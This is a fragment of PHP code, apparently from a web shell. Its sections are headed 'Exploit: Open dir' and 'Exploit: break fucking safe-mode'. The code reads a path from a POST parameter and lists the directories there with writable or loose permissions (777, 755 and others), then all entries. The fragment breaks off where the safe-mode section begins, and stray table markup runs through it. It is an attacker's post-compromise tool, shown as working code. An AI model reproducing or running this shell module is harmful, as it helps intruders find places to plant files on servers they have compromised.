| Exploit: Open dir |
| ');
if(empty($_POST['m'])){
echo "";
} else {
$m=$_POST['m'];
$spath = $m ;
$path = $m ;
$method = intval(trim($_POST['method']));
$handle = opendir($path);
$_folders = array();
$i = 0;
while (false !== ($file = readdir($handle)))
{
$full_path = "$path/$file";
$perms = substr(sprintf('%o', fileperms($full_path)), -4);
if ((is_dir($full_path)) && ($perms == '0777'))
{
if (!file_exists('.*')) {
$_folders[$i] = $file;
$i++;
}
}
}
closedir($handle);
clearstatcache();
echo 'The folders is 777 : '; foreach ($_folders as $folder) { echo $folder.' '; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0755')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 755 : '; foreach ($_folders as $folder) { echo $folder.' '; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0644')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 644 : '; foreach ($_folders as $folder) { echo $folder.' '; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0750')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 750 : '; foreach ($_folders as $folder) { echo $folder.' '; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0604')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 604 : '; foreach ($_folders as $folder) { echo $folder.' '; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0705')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 705 : '; foreach ($_folders as $folder) { echo $folder.' '; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0606')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 606 : '; foreach ($_folders as $folder) { echo $folder.' '; } ////////// $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); if ((is_dir($full_path)) && ($perms == '0703')) { if (!file_exists('.*')) { $_folders[$i] = $file1; $i++; } } } clearstatcache(); echo 'The folders is 703 : '; foreach ($_folders as $folder) { echo $folder.' '; } } $handle = opendir($path); $_folders = array(); $i = 0; while (false !== ($file1 = readdir($handle))) { $full_path = "$path/$file1"; $perms = substr(sprintf('%o', fileperms($full_path)), -4); $_folders[$i] = $file1; $i++; } clearstatcache(); echo 'The folders and file all : '; foreach ($_folders as $folder) { echo $folder.' '; } echo 'The total : '.$i.' '; $tb->tdbody (" |
| Exploit: break fucking safe-mode |
| ');
error_reporting(E_WARNING);
ini_set("display_errors", 1);
echo " |